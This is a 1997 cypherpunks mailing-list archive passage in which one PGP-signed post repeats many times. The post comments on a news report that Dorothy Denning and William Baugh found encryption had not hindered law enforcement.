ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:21:32 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010016.SAA06192@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:30:07 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010022.SAA06398@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:35:19 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010027.SAA06580@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:43:47 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010033.SAA06763@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:47:26 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010038.SAA06955@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:51:05 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010044.SAA07149@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:54:17 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010049.SAA07347@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:02:28 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010054.SAA07529@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:08:34 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010059.SAA07718@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:11:24 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010105.TAA07932@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:19:28 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010110.TAA08075@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:23:41 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010116.TAA08235@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:33:07 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010122.TAA08460@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:37:05 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010127.TAA08644@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:40:35 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010132.TAA08838@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:44:26 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010137.TAA09057@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:48:23 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010142.TAA09265@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:56:26 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010148.TAA09479@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 09:58:15 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010153.TAA09635@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
